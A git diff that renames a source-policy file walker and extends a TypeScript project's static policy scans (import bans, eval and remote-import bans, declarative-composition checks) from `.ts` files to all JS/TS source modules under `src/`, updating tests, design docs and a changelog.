diff --git a/changelog.d/152.fixed.md b/changelog.d/152.fixed.md new file mode 100644 index 0000000..2a20891 --- /dev/null +++ b/changelog.d/152.fixed.md @@ -0,0 +1 @@ +Source-policy gates now scan JavaScript and TypeScript module source extensions under `src/`, so bundled `.js`, `.jsx`, `.mjs`, `.cjs`, `.tsx`, `.mts`, and `.cts` files no longer bypass the shared policy scanner. diff --git a/changelog.d/46.added.md b/changelog.d/46.added.md index b80d000..a58469e 100644 --- a/changelog.d/46.added.md +++ b/changelog.d/46.added.md @@ -4,17 +4,17 @@ authored source tree on every `pnpm test` / CI run and fails the build on any violation: - PUL-Q007: no `eval`, `new Function`, `Function(...)` calls, or dynamic `import()` of remote URLs / non-static specifiers in - `src/**/*.ts`. - - PUL-A001: no direct `gsap` imports from `src/scenes/**/*.ts`. + source modules under `src/`. + - PUL-A001: no direct `gsap` imports from source modules under `src/scenes/`. - PUL-A002: no direct `howler` imports and no `new HTMLAudioElement()` / `new Audio()` constructions in - `src/scenes/**/*.ts`. + source modules under `src/scenes/`. - PUL-A003: no PixiJS / Three.js / Phaser imports in the runtime-core file set. - PUL-A004: no Remotion or video-rendering-library imports in the runtime-core file set. - PUL-A005: every `CompositionManifest`-typed export under - `src/compositions/**/*.ts` is a static array literal of + source modules under `src/compositions/` is a static array literal of string-literal scene ids; top-level imperative-dispatch shapes are forbidden. - PUL-A006: no reveal.js / Spectacle imports in the runtime-core diff --git a/docs/design/pul-a001-timeline-library-encapsulation-preflight.md b/docs/design/pul-a001-timeline-library-encapsulation-preflight.md index 560de0a..512a144 100644 --- a/docs/design/pul-a001-timeline-library-encapsulation-preflight.md +++ b/docs/design/pul-a001-timeline-library-encapsulation-preflight.md @@ -14,7 +14,7 @@ runtime validator, loader hook, or bundle audit. ## Boundary -- Scan authored scene source under `src/scenes/**/*.ts` for direct +- Scan authored scene source modules under `src/scenes/` for direct imports or dynamic imports of `gsap` and GSAP subpaths. - Treat `src/runtime/timeline.ts` as the canonical GSAP boundary. It may import `gsap`, exposes `createTimelineEngine()`, validates returned @@ -76,7 +76,7 @@ Implementation must build on these incumbents: The seam is a parameterized forbidden-import policy table in the shared source scanner. A001 contributes a rule shaped like: -- scope: `src/scenes/**/*.ts`; +- scope: source modules under `src/scenes/`; - forbidden module specifiers: `gsap` and `gsap/*`; - allowed production boundary: `src/runtime/timeline.ts`; - exemption tag: `PUL-A001-allow`. diff --git a/docs/design/pul-a002-a006-import-bans-preflight.md b/docs/design/pul-a002-a006-import-bans-preflight.md index db31819..35c49d6 100644 --- a/docs/design/pul-a002-a006-import-bans-preflight.md +++ b/docs/design/pul-a002-a006-import-bans-preflight.md @@ -23,14 +23,14 @@ The PUL-A001 preflight authorises this inheritance explicitly: | Req | Scope (file set) | Forbidden specifiers | Allowed boundary | Exemption tag | |-----|------------------|----------------------|------------------|---------------| -| PUL-A002 | `src/scenes/**/*.ts` | `howler`, `howler/*` (+ `new Audio()` / `new HTMLAudioElement()` value-position) | `src/runtime/audio.ts` (out of scope) | `PUL-A002-allow` | -| PUL-A003 | `src/**/*.ts` minus `src/scenes/**` (runtime-core file set) | `pixi.js`, `pixi.js/*`, `three`, `three/*`, `phaser`, `phaser/*` | scene-local imports under `src/scenes/**` | `PUL-A003-allow` | -| PUL-A004 | `src/**/*.ts` minus `src/scenes/**` (runtime-core file set) | `remotion`, `remotion/*`, `@remotion/*` | export pipeline (separate codebase, ADR-006) | `PUL-A004-allow` | -| PUL-A005 | `src/compositions/**/*.ts` | (special: declarative-manifest shape; see below) | n/a | `PUL-A005-allow` | -| PUL-A006 | `src/**/*.ts` minus `src/scenes/**` (runtime-core file set) | `reveal.js`, `reveal.js/*`, `spectacle`, `spectacle/*`, `@spectacle/*` | companion projects (separate, ADR-001) | `PUL-A006-allow` | +| PUL-A002 | source modules under `src/scenes/` | `howler`, `howler/*` (+ `new Audio()` / `new HTMLAudioElement()` value-position) | `src/runtime/audio.ts` (out of scope) | `PUL-A002-allow` | +| PUL-A003 | source modules under `src/` minus `src/scenes/**` (runtime-core file set) | `pixi.js`, `pixi.js/*`, `three`, `three/*`, `phaser`, `phaser/*` | scene-local imports under `src/scenes/**` | `PUL-A003-allow` | +| PUL-A004 | source modules under `src/` minus `src/scenes/**` (runtime-core file set) | `remotion`, `remotion/*`, `@remotion/*` | export pipeline (separate codebase, ADR-006) | `PUL-A004-allow` | +| PUL-A005 | source modules under `src/compositions/` | (special: declarative-manifest shape; see below) | n/a | `PUL-A005-allow` | +| PUL-A006 | source modules under `src/` minus `src/scenes/**` (runtime-core file set) | `reveal.js`, `reveal.js/*`, `spectacle`, `spectacle/*`, `@spectacle/*` | companion projects (separate, ADR-001) | `PUL-A006-allow` | The "runtime-core file set" is computed at scan time as -`walkTsFiles(SRC_ROOT)` filtered to exclude `src/scenes/`. This makes +`walkSourceFiles(SRC_ROOT)` filtered to exclude `src/scenes/`. This makes the scope self-extending: a new top-level runtime module (e.g., `src/feature-flags.ts`) is picked up automatically. @@ -39,7 +39,7 @@ the scope self-extending: a new top-level runtime module (e.g., Each test file MUST build on these incumbents (defined in `tests/runtime/source-policy.ts`): -- `walkTsFiles(root, excludes?)` — the file walker. +- `walkSourceFiles(root, excludes?)` — the file walker. - `parseSource(text, file)` — TypeScript `SourceFile` factory with parent pointers populated. - `collectLineExemptions(sourceFile, allowTag)` — line-scoped @@ -73,7 +73,7 @@ Each policy MUST: PUL-A005 is not an import ban; it is a structural-shape requirement on every exported `CompositionManifest`-typed binding under -`src/compositions/**/*.ts`. The detection rule is two-phase: +source modules under `src/compositions/`. The detection rule is two-phase: 1. **Top-level statement shape.** A composition module's top-level statements MUST be import declarations, export declarations, type diff --git a/docs/design/pul-q003-url-state-determinism-preflight.md b/docs/design/pul-q003-url-state-determinism-preflight.md index 8dd8f42..9e7b2d3 100644 --- a/docs/design/pul-q003-url-state-determinism-preflight.md +++ b/docs/design/pul-q003-url-state-determinism-preflight.md @@ -27,7 +27,7 @@ workflow layer. `effectiveMode(target)` for each navigation and builds fresh per-navigation context. - Source-policy enforcement belongs in a Vitest static policy over - authored `src/**/*.ts`, using `tests/runtime/source-policy.ts` and + authored source modules under `src/`, using `tests/runtime/source-policy.ts` and the screenshot-determinism source scan precedent. Do not add a browser runtime validator for persisted-state targeting. @@ -76,7 +76,7 @@ Implementation must build on these incumbents: | Mode dispatch | Mode is derived with `effectiveMode(target)` for each navigation. Omitted `mode` selects fresh `present`; it must not reuse a previous mode from memory or storage. | | Scene context | `ctx.mode` is a derived hint from the current target only. Scenes may branch on `ctx.mode`; they must not parse query strings or read storage/cookies/history to determine target or mode. | | Runtime validation | `validateRuntime()` stays graph-shape validation. Q003 enforcement is source-policy plus existing URL/parser/loader tests, not scene metadata validation. | -| Source policy gate | Add or extend a Vitest policy scan over `src/**/*.ts`. Reuse `source-policy.ts`; do not create regex-only scans or duplicate walkers. Any exemption must be line-scoped and reasoned, e.g. `PUL-Q003-allow: `, and must not apply to target selection. | +| Source policy gate | Add or extend a Vitest policy scan across source modules under `src/`. Reuse `source-policy.ts`; do not create regex-only scans or duplicate walkers. Any exemption must be line-scoped and reasoned, e.g. `PUL-Q003-allow: `, and must not apply to target selection. | | Auth, secrets, and env binding | Target selection needs no auth, secrets, env vars, `.env`, or host config. `process.env`, `import.meta.env`, and `process.argv` must not determine scene, beat, composition, or mode. | | OS/process exposure | Do not pass target state, secret-bearing URLs, cookies, or env-derived values through shell argv. Tests should run in-process under Vitest and report relative path, line, label, and trimmed line text only. | | Error envelope | Navigation failures use existing `navigation grammar is invalid:`, `scene navigation failed:`, `composition resolution failed:`, and `data-pulsar-navigation-error` surfaces. Diagnostics may name ids, modes, indexes, and bounded messages; never dump cookies, headers, env, argv, raw scene objects, or full credential-bearing URLs. | diff --git a/docs/design/pul-q007-runtime-code-execution-preflight.md b/docs/design/pul-q007-runtime-code-execution-preflight.md index dde7de3..083040f 100644 --- a/docs/design/pul-q007-runtime-code-execution-preflight.md +++ b/docs/design/pul-q007-runtime-code-execution-preflight.md @@ -4,8 +4,8 @@ Date: 2026-05-12 PUL-Q007 is a runtime-source security policy: published runtime code must not execute code that is not already present in the bundle. The -right enforcement is a Vitest static-policy suite over `src/**/*.ts`, -using the TypeScript AST scanner precedent from +right enforcement is a Vitest static-policy suite that scans source +modules under `src/`, using the TypeScript AST scanner precedent from `tests/runtime/screenshot-determinism-source.test.ts` and the CI-gate precedent from `tests/runtime/workbench-graph.test.ts`. diff --git a/docs/design/pul-q008-dom-css-accessibility-preflight.md b/docs/design/pul-q008-dom-css-accessibility-preflight.md index 656e43a..2044d0f 100644 --- a/docs/design/pul-q008-dom-css-accessibility-preflight.md +++ b/docs/design/pul-q008-dom-css-accessibility-preflight.md @@ -37,10 +37,10 @@ Implementation must build on these incumbents: `ctx.stage.ownerDocument.createElement(...)`, scene-local `appendChild`, and lifecycle cleanup through `cleanup(ctx)`. - Existing DOM bypass policy: PUL-Q004's source scan over - `src/scenes/**/*.ts`, especially the bans on ambient `document` + source modules under `src/scenes/`, especially the bans on ambient `document` attachment roots, global listeners, observers, and DOM prototype monkey-patches. -- Source-policy helpers: `walkTsFiles`, `parseSource`, +- Source-policy helpers: `walkSourceFiles`, `parseSource`, `collectLineExemptions`, `lineText`, access-path helpers, and bounded `{ file, line, text, label }` diagnostics from `tests/runtime/source-policy.ts`. diff --git a/docs/scene-trust-model.md b/docs/scene-trust-model.md index 62fcda5..cea190f 100644 --- a/docs/scene-trust-model.md +++ b/docs/scene-trust-model.md @@ -138,7 +138,7 @@ one. [`tests/runtime/policy-q007-remote-code-execution.test.ts`](../tests/runtime/policy-q007-remote-code-execution.test.ts) bans `eval`, `new Function(...)`, `Function(...)`, and dynamic `import(specifier)` whose specifier is a remote URL or non-static - expression in authored runtime source (`src/**/*.ts`). It catches + expression in authored runtime source (source modules under `src/`). It catches attempts to execute code that is not present in the published bundle. It does not transform a bundled scene module into untrusted-safe code, and it does not restrict what bundled scene diff --git a/tests/runtime/navigation.test.ts b/tests/runtime/navigation.test.ts index cfffe3b..6c96b7e 100644 --- a/tests/runtime/navigation.test.ts +++ b/tests/runtime/navigation.test.ts @@ -856,7 +856,7 @@ describe('PUL-Q003 — persisted browser state never determines the target', () // navigation event matches `parseNavigationSearch(location.search)` // exactly and that `effectiveMode(...)` ignores the seeded state. // - // The structural ban on these surfaces in `src/**/*.ts` is enforced + // The structural ban on these surfaces in source modules under `src/` is enforced // separately by `policy-q003-url-state-determinism.test.ts`. This // block adds black-box coverage: if a future refactor of // `subscribeNavigation` / `bootstrapNavigation` / `effectiveMode` diff --git a/tests/runtime/policy-a001-timeline-encapsulation.test.ts b/tests/runtime/policy-a001-timeline-encapsulation.test.ts index 5dc113b..f85e4d5 100644 --- a/tests/runtime/policy-a001-timeline-encapsulation.test.ts +++ b/tests/runtime/policy-a001-timeline-encapsulation.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A001 — Timeline library encapsulation. @@ -19,7 +19,7 @@ import { // directly. Scene timelines SHALL be constructed via the timeline // utilities exposed on the scene context." // -// Enforcement: a Vitest source scan over `src/scenes/**/*.ts` that +// Enforcement: a Vitest source scan across source modules under `src/scenes/` that // flags every import — static (`import ... from 'gsap'`), dynamic // (`import('gsap')`), and type-only (`import type ... from 'gsap'`) — // of the `gsap` package and its subpaths. The runtime adapter at @@ -186,13 +186,13 @@ describe('PUL-A001 — timeline library encapsulation (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no A001 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no A001 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -209,7 +209,7 @@ describe('PUL-A001 — timeline library encapsulation (source scan)', () => { }); it('runtime adapter `src/runtime/timeline.ts` is exempt by scope (the boundary)', () => { - // The scope is `src/scenes/**/*.ts`, so the adapter never enters + // The scope is source modules under `src/scenes/`, so the adapter never enters // the scan — it would never be flagged even though it imports // `gsap`. This test pins that property explicitly so a future // change to the scope cannot silently drag the adapter in. @@ -217,7 +217,7 @@ describe('PUL-A001 — timeline library encapsulation (source scan)', () => { expect(statSync(adapter).isFile()).toBe(true); const text = readFileSync(adapter, 'utf-8'); expect(text).toMatch(/from\s+['"]gsap['"]/); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); expect(sceneFiles).not.toContain(adapter); }); }); diff --git a/tests/runtime/policy-a002-audio-encapsulation.test.ts b/tests/runtime/policy-a002-audio-encapsulation.test.ts index cfe4025..2466302 100644 --- a/tests/runtime/policy-a002-audio-encapsulation.test.ts +++ b/tests/runtime/policy-a002-audio-encapsulation.test.ts @@ -16,7 +16,7 @@ import { parseSource, pathResolvesTo, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A002 — Audio library encapsulation. @@ -27,7 +27,7 @@ import { // where a scene drops down to raw Web Audio with a documented // justification and registers cleanup with the runtime." // -// Enforcement: a Vitest source scan over `src/scenes/**/*.ts` with +// Enforcement: a Vitest source scan across source modules under `src/scenes/` with // two checks: // // 1. Direct imports of `howler` (or any `howler/*` subpath) are @@ -371,13 +371,13 @@ describe('PUL-A002 — audio library encapsulation (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no A002 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no A002 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -401,7 +401,7 @@ describe('PUL-A002 — audio library encapsulation (source scan)', () => { expect(statSync(adapter).isFile()).toBe(true); const text = readFileSync(adapter, 'utf-8'); expect(text).toMatch(/from\s+['"]howler['"]/); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); expect(sceneFiles).not.toContain(adapter); }); }); diff --git a/tests/runtime/policy-a003-rendering-libraries.test.ts b/tests/runtime/policy-a003-rendering-libraries.test.ts index fc65a69..c685e1b 100644 --- a/tests/runtime/policy-a003-rendering-libraries.test.ts +++ b/tests/runtime/policy-a003-rendering-libraries.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A003 — Optional rendering libraries are scene-local. @@ -21,7 +21,7 @@ import { // Enforcement: a Vitest source scan over the runtime-core file set // (everything under `src/` EXCEPT `src/scenes/**`) that flags any // import of `pixi.js`, `three`, or `phaser` (each with subpath -// wildcards). Scene files under `src/scenes/**/*.ts` may adopt these +// wildcards). Scene source modules under `src/scenes/` may adopt these // libraries locally; they are out of scope by construction. // // The runtime-core boundary covers `src/runtime/**`, `src/compositions/**`, @@ -39,13 +39,13 @@ const RULE: ImportBanRule = { const SCENES_ROOT = join(SRC_ROOT, 'scenes'); /** - * Runtime-core file set: every `.ts` under `src/` that is NOT under + * Runtime-core file set: every source module under `src/` that is NOT under * `src/scenes/`. Computed at scan time so any future top-level file * under `src/` (e.g., a new `src/feature-flags.ts`) is automatically * included without editing the test. */ function runtimeCoreFiles(): readonly string[] { - return walkTsFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); + return walkSourceFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); } function scanForA003(source: string, file: string): readonly SourceFinding[] { diff --git a/tests/runtime/policy-a004-export-pipeline.test.ts b/tests/runtime/policy-a004-export-pipeline.test.ts index bc90728..b8feba5 100644 --- a/tests/runtime/policy-a004-export-pipeline.test.ts +++ b/tests/runtime/policy-a004-export-pipeline.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A004 — Live runtime is independent of the export pipeline. @@ -37,7 +37,7 @@ const RULE: ImportBanRule = { const SCENES_ROOT = join(SRC_ROOT, 'scenes'); function runtimeCoreFiles(): readonly string[] { - return walkTsFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); + return walkSourceFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); } function scanForA004(source: string, file: string): readonly SourceFinding[] { diff --git a/tests/runtime/policy-a005-declarative-composition.test.ts b/tests/runtime/policy-a005-declarative-composition.test.ts index 44996cf..da91212 100644 --- a/tests/runtime/policy-a005-declarative-composition.test.ts +++ b/tests/runtime/policy-a005-declarative-composition.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, lineText, parseSource, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A005 — Composition is declarative. @@ -20,7 +20,7 @@ import { // (e.g., `if/else` branching or position-based dispatch in a control // script) as the source of truth for composition order." // -// Enforcement: a Vitest source scan over `src/compositions/**/*.ts` +// Enforcement: a Vitest source scan across source modules under `src/compositions/` // with two checks: // // 1. Every exported `const X: CompositionManifest = ` must @@ -147,7 +147,7 @@ function scanForA005(source: string, file: string): readonly SourceFinding[] { // A composition module's default export is implicitly the // composition manifest. Without a type assertion there's no // declared annotation to read, but the file is still under - // `src/compositions/**/*.ts` and the export still becomes + // source modules under `src/compositions/` and the export still becomes // the registered manifest. We enforce the same static-array // rule so `export default buildManifest();` is caught. // f) `export const m = ` (untyped, no assertion) AND @@ -798,13 +798,13 @@ describe('PUL-A005 — composition is declarative (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('compositions root `src/compositions/` exists and contains at least one .ts file', () => { + it('compositions root `src/compositions/` exists and contains at least one source module file', () => { expect(statSync(COMPOSITIONS_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(COMPOSITIONS_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(COMPOSITIONS_ROOT).length).toBeGreaterThan(0); }); - it('contains no A005 violations across `src/compositions/**/*.ts`', () => { - const files = walkTsFiles(COMPOSITIONS_ROOT); + it('contains no A005 violations across source modules under `src/compositions/`', () => { + const files = walkSourceFiles(COMPOSITIONS_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); diff --git a/tests/runtime/policy-a006-slide-frameworks.test.ts b/tests/runtime/policy-a006-slide-frameworks.test.ts index da0e863..8093aa5 100644 --- a/tests/runtime/policy-a006-slide-frameworks.test.ts +++ b/tests/runtime/policy-a006-slide-frameworks.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, parseSource, scanImportSpecifiers, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A006 — Live runtime is independent of slide frameworks. @@ -34,7 +34,7 @@ const RULE: ImportBanRule = { const SCENES_ROOT = join(SRC_ROOT, 'scenes'); function runtimeCoreFiles(): readonly string[] { - return walkTsFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); + return walkSourceFiles(SRC_ROOT).filter((file) => !file.startsWith(`${SCENES_ROOT}/`)); } function scanForA006(source: string, file: string): readonly SourceFinding[] { diff --git a/tests/runtime/policy-a008-mode-dispatch.test.ts b/tests/runtime/policy-a008-mode-dispatch.test.ts index 2b65fa1..bfc1375 100644 --- a/tests/runtime/policy-a008-mode-dispatch.test.ts +++ b/tests/runtime/policy-a008-mode-dispatch.test.ts @@ -14,7 +14,7 @@ import { lineText, parseSource, unwrap, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A008 — Workbench mode dispatch in the runtime core. @@ -24,7 +24,7 @@ import { // branches except where they must respond to mode hints (e.g., // suppressing audio in `mode=screenshot`)." // -// Enforcement: a Vitest source scan over `src/scenes/**/*.ts`. The +// Enforcement: a Vitest source scan across source modules under `src/scenes/`. The // scanner flags three AST shapes — all variants of "this code branches // on a workbench mode literal": // @@ -65,7 +65,7 @@ import { // The runtime core (`src/runtime/`) IS the mode-dispatch boundary and // intentionally contains exactly the constructions this gate forbids // in scenes — scanning it would be a category error. The scope is -// therefore `src/scenes/**/*.ts` only. +// therefore source modules under `src/scenes/` only. // // Exemption: a line-scoped `// PUL-A008-allow: ` comment // excludes a single line. Empty / whitespace-only rationales are @@ -950,13 +950,13 @@ describe('PUL-A008 — mode dispatch in core (source scan)', () => { }); describe('runtime tree (current code revision)', () => { - it('scenes root `src/scenes/` exists and contains at least one .ts file', () => { + it('scenes root `src/scenes/` exists and contains at least one source module file', () => { expect(statSync(SCENES_ROOT).isDirectory()).toBe(true); - expect(walkTsFiles(SCENES_ROOT).length).toBeGreaterThan(0); + expect(walkSourceFiles(SCENES_ROOT).length).toBeGreaterThan(0); }); - it('contains no A008 violations across `src/scenes/**/*.ts`', () => { - const files = walkTsFiles(SCENES_ROOT); + it('contains no A008 violations across source modules under `src/scenes/`', () => { + const files = walkSourceFiles(SCENES_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -971,7 +971,7 @@ describe('PUL-A008 — mode dispatch in core (source scan)', () => { }); it('runtime core `src/runtime/` is exempt by scope (the dispatch boundary)', () => { - // The scope is `src/scenes/**/*.ts`, so `src/runtime/navigation.ts` + // The scope is source modules under `src/scenes/`, so `src/runtime/navigation.ts` // and `src/runtime/scene-loader.ts` — which deliberately contain // the mode-literal comparisons this gate forbids in scenes — // never enter the scan. This test pins that property so a @@ -981,7 +981,7 @@ describe('PUL-A008 — mode dispatch in core (source scan)', () => { const loader = join(SRC_ROOT, 'runtime', 'scene-loader.ts'); expect(statSync(navigation).isFile()).toBe(true); expect(statSync(loader).isFile()).toBe(true); - const sceneFiles = walkTsFiles(SCENES_ROOT); + const sceneFiles = walkSourceFiles(SCENES_ROOT); expect(sceneFiles).not.toContain(navigation); expect(sceneFiles).not.toContain(loader); }); diff --git a/tests/runtime/policy-a009-captions-single-source.test.ts b/tests/runtime/policy-a009-captions-single-source.test.ts index 8350032..838f7fa 100644 --- a/tests/runtime/policy-a009-captions-single-source.test.ts +++ b/tests/runtime/policy-a009-captions-single-source.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, lineText, parseSource, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A009 — Captions / prompter single source. @@ -73,8 +73,8 @@ import { // and composition-entry OBJECT LITERALS** (codex review cycle 1 // class finding). The interface-level scan (rule 1) does not // cover the actual authoring surface where scene module values -// are written — `src/scenes/**/*.ts` and -// `src/compositions/**/*.ts`. Because `assertSceneModule()` +// are written — source modules under `src/scenes/` and +// source modules under `src/compositions/`. Because `assertSceneModule()` // accepts unknown keys (the preflight rules out a runtime // implementation change for this requirement), an authored scene // can carry a forbidden caption-shaped sibling field at the @@ -527,8 +527,8 @@ function scanPrompterCaptionImports(sourceFile: ts.SourceFile): readonly SourceF // TypeScript `SceneModule` / `CompositionEntryOverride` INTERFACE // declarations in `src/runtime/{scene,composition}.ts`. The actual // authoring data lives in object literals under -// `src/scenes/**/*.ts` (and per-composition overrides under -// `src/compositions/**/*.ts`). Because `assertSceneModule()` does +// source modules under `src/scenes/` (and per-composition overrides under +// source modules under `src/compositions/`). Because `assertSceneModule()` does // NOT reject unknown keys (preflight: no runtime implementation // change for this requirement), a scene module export can carry a // forbidden caption-shaped sibling field today and pass both the @@ -1645,7 +1645,7 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { it('flags `const { CaptionSchema } = source` (destructured local binding)', () => { // Codex review cycle 2 (class finding): destructuring // introduces a LOCAL binding with the forbidden name; the - // underlying source may live outside `src/**/*.ts` (external + // underlying source may live outside source modules under `src/` (external // module, generated code, inline factory), so the underlying // declaration is not reachable from the scanner. The local // binding is the parallel-surface vector the gate must close. @@ -1808,8 +1808,8 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { describe('rule 4 — forbidden authoring fields on scene-module object literals', () => { // Codex review cycle 1 (class finding): the interface-level scan - // (rule 1) leaves the AUTHORING side — `src/scenes/**/*.ts`, - // `src/compositions/**/*.ts` — unguarded because + // (rule 1) leaves the AUTHORING side — source modules under `src/scenes/`, + // source modules under `src/compositions/` — unguarded because // `assertSceneModule()` does not reject unknown keys. Rule 4 // scans every object literal annotated/asserted/satisfies-bound // as `SceneModule` or `CompositionEntryOverride` and flags @@ -2500,8 +2500,8 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { expect(findings, message).toEqual([]); }); - it('rule 2: zero forbidden parallel caption-schema declarations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('rule 2: zero forbidden parallel caption-schema declarations across source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -2532,7 +2532,7 @@ describe('PUL-A009 — captions / prompter single source (source scan)', () => { for (const root of SCENE_MODULE_AUTHORING_ROOTS) { const dir = join(SRC_ROOT, root); expect(statSync(dir).isDirectory()).toBe(true); - for (const file of walkTsFiles(dir)) { + for (const file of walkSourceFiles(dir)) { const text = readFileSync(file, 'utf-8'); const rel = relative(REPO_ROOT, file); findings.push(...scanForbiddenSceneObjectFields(parseSource(text, rel))); diff --git a/tests/runtime/policy-a010-export-metadata-share.test.ts b/tests/runtime/policy-a010-export-metadata-share.test.ts index d6e6243..1ff6b1a 100644 --- a/tests/runtime/policy-a010-export-metadata-share.test.ts +++ b/tests/runtime/policy-a010-export-metadata-share.test.ts @@ -10,7 +10,7 @@ import { collectLineExemptions, lineText, parseSource, - walkTsFiles, + walkSourceFiles, } from './source-policy'; // PUL-A010 — Live and export share scene metadata. @@ -70,8 +70,8 @@ import { // imports from any other path are flagged. // // 3. **Forbidden export-side authoring fields on scene-module and -// composition-entry OBJECT LITERALS** under `src/scenes/**/*.ts` -// and `src/compositions/**/*.ts`. `assertSceneModule()` accepts +// composition-entry OBJECT LITERALS** in source modules under `src/scenes/` +// and `src/compositions/`. `assertSceneModule()` accepts // unknown keys at the value level (the preflight rules out a // runtime implementation change), so a scene module can carry a // forbidden export-shaped sibling field today and pass the @@ -462,8 +462,8 @@ function scanForbiddenSchemas(sourceFile: ts.SourceFile): readonly SourceFinding // // Rule 1 inspects the TypeScript `SceneModule` / // `CompositionEntryOverride` INTERFACE declarations. The actual -// authoring data lives in object literals under `src/scenes/**/*.ts` -// (and per-composition overrides under `src/compositions/**/*.ts`). +// authoring data lives in object literals in source modules under `src/scenes/` +// (and per-composition overrides under `src/compositions/`). // Because `assertSceneModule()` does NOT reject unknown keys, a scene // module export can carry a forbidden export-shaped sibling field // today and pass both the schema gate AND rule 1. Rule 3 closes the @@ -2140,8 +2140,8 @@ describe('PUL-A010 — live and export share scene metadata (source scan)', () = expect(findings, message).toEqual([]); }); - it('rule 2: zero forbidden parallel scene/composition declarations across `src/**/*.ts`', () => { - const files = walkTsFiles(SRC_ROOT); + it('rule 2: zero forbidden parallel scene/composition declarations across source modules under `src/`', () => { + const files = walkSourceFiles(SRC_ROOT); const findings: SourceFinding[] = []; for (const file of files) { const text = readFileSync(file, 'utf-8'); @@ -2160,7 +2160,7 @@ describe('PUL-A010 — live and export share scene metadata (source scan)', () = for (const root of SCENE_MODULE_AUTHORING_ROOTS) { const dir = join(SRC_ROOT, root); expect(statSync(dir).isDirectory()).toBe(true); - for (const file of walkTsFiles(dir)) { + for (const file of walkSourceFiles(dir)) { const text = readFileSync(file, 'utf-8'); const rel = relative(REPO_ROOT, file); findings.push(...scanUnannotatedAuthoringDeclarations(parseSource(text, rel))); @@ -2178,7 +2178,7 @@ describe('PUL-A010 — live and export share scene metadata (source scan)', () = for (const root of SCENE_MODULE_AUTHORING_ROOTS) { const dir = join(SRC_ROOT, root); expect(statSync(dir).isDirectory()).toBe(true); - for (const file of walkTsFiles(dir)) { + for (const file of walkSourceFiles(dir)) { const text = readFileSync(file, 'utf-8'); const rel = relative(REPO_ROOT, file); findings.push(...scanForbiddenSceneObjectFields(parseSource(text, rel))); diff --git a/tests/runtime/policy-biome-complexity-gate.test.ts b/tests/runtime/policy-biome-complexity-gate.test.ts index e633e82..9175fa5 100644 --- a/tests/runtime/policy-biome-complexity-gate.test.ts +++ b/tests/runtime/policy-biome-complexity-gate.test.ts @@ -2,7 +2,7 @@ import { readFileSync } from 'node:fs'; import { join, relative } from 'node:path'; import { describe, expect, it } from 'vitest'; -import { REPO_ROOT, walkTsFiles } from './source-policy'; +import { REPO_ROOT, walkSourceFiles } from './source-policy'; // Issue 90 — per-function cognitive-complexity hard gate. // @@ -172,7 +172,7 @@ describe('issue 90 — Biome cognitive-complexity hard gate', () => { const scanRoots = [join(REPO_ROOT, 'src'), join(REPO_ROOT, 'tests')]; const bareSuppressions: string[] = []; for (const root of scanRoots) { - for (const filePath of walkTsFiles(root)) { + for (const filePath of walkSourceFiles(root)) { const text = readFileSync(filePath, 'utf8'); const lines = text.split('\n'); lines.forEach((line, idx) => { diff --git 